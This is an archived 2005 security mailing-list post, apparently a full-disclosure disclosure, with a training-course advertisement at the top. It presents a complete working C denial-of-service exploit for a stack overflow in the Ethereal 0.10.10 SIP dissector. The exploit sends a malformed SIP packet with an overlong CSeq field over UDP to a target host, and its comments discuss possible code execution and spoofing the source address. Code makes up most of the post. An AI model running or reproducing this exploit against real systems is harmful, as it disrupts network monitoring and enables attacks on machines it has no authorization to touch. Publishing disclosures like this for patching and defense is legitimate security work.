Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Ethereal <= 0.10.10 SIP dissector stack overflow DoS exploit |
|---|---|
| Date: | Wed, 11 May 2005 18:49:22 +0100 (WAT) |
Proof-of-concept DoS exploit for the ethereal SIP dissector stack overflow vulnerability discovered by SecurityLab. /* ethereal_sip_dos.c - by Shaun Colley <shaun rsc cx> * * This code exploits the Ethereal <= 0.10.10 SIP dissector stack overflow vulnerability, * reported by SecurityLab. See the advisory for more details (i.e. fix) - * <http://www.securitylab.net/ethereal-0-10-10.txt> * * This buffer overflow bug is due to a blind copy of the "CSeq" field in a packet containing a SIP header. * If a malformed SIP packet appears on the same interface as the vulnerable Ethereal, * Ethereal will strcpy() the SIP header's CSeq field into a buffer without bounds checking. * This code transmits a SIP header (in a UDP datagram) with an overly long CSeq field, which * results in a stack overflow because of the strcpy(). It is probably * possible to execute code, but since Ethereal first validates each byte with an 'isalpha' check, * shellcode may have to be printable ASCII-only if the bug were to be exploited. I am not * certain on how easy code execution would be. Important things get overwritten during the overflow, * so the attacker would need to fill them back in themselves. * * Ethereal have released a patch. Ethereal 0.10.11 fixes this bug. * * syntax: ethereal_sip_dos <host> - where <host> is an address that makes the packet appear on * the Ethereal host's interface, i.e. target's IP address. * * This code doesn't spoof the source address - if you care, capture the packet and retransmit * it with a spoofed source IP address. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> /* malformed SIP packet */ char sip_packet[] = "\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63" "\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20" "\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63" "\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73" "\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65" "\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b" "\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50" "\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39" "\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b" "\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54" "\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b\x0a\x43\x61\x6c" "\x6c\x2d\x49\x44\x3a\x20\x31\x36\x33\x33\x33\x34\x37\x34\x35" "\x32\x3a\x20\x68\x61\x63\x6b\x0a\x43\x53\x65\x71\x3a\x20\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x81\xd9" "\x04\x28\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63" "\x6b\x3a\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e" "\x67\x74\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77" "\x61\x72\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41" "\x67\x65\x6e\x74\x3a\x20\x65\x74\x68\x65\x72\x65\x61\x6c\x20" "\x63\x72\x61\x73\x68\x0a"; int main(int argc, char *argv[]) { if(argc < 2) { printf("syntax: %s <host>\n", argv[0]); return 1; } struct sockaddr_in dest; struct hostent *he; int sock, slen = sizeof(struct sockaddr); if((he = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve %s\n", argv[1]); return 1; } if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket()"); return 1; } dest.sin_port = htons(5060); dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)he->h_addr); if (sendto(sock, sip_packet, sizeof(sip_packet), 0, (struct sockaddr *)&dest, slen)== -1) { printf("Error sending packet!\n"); return 1; } printf("Exploit packet sent..\n"); close(sock); return 0; } If the code looks screwed, reference: <http://www.demodulated.net/code/ethereal_sip_dos.c>. Thanks, Shaun
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: TCP/IP implementations do not adequately validate ICMP error messages, Maciej Soltysiak |
|---|---|
| Next by Date: | Re: Linux kernel ELF core dump privilege elevation, Bruno Lustosa |
| Previous by Thread: | Commonly used disk imaging and wiping tools can be tricked to miss parts of a disk, Arne Vidström |
| Next by Thread: | [Full-disclosure] [DR018] Quartz Composer / QuickTime 7 information leakage, David Remahl |
| Indexes: | [Date] [Thread] [Top] [All Lists] |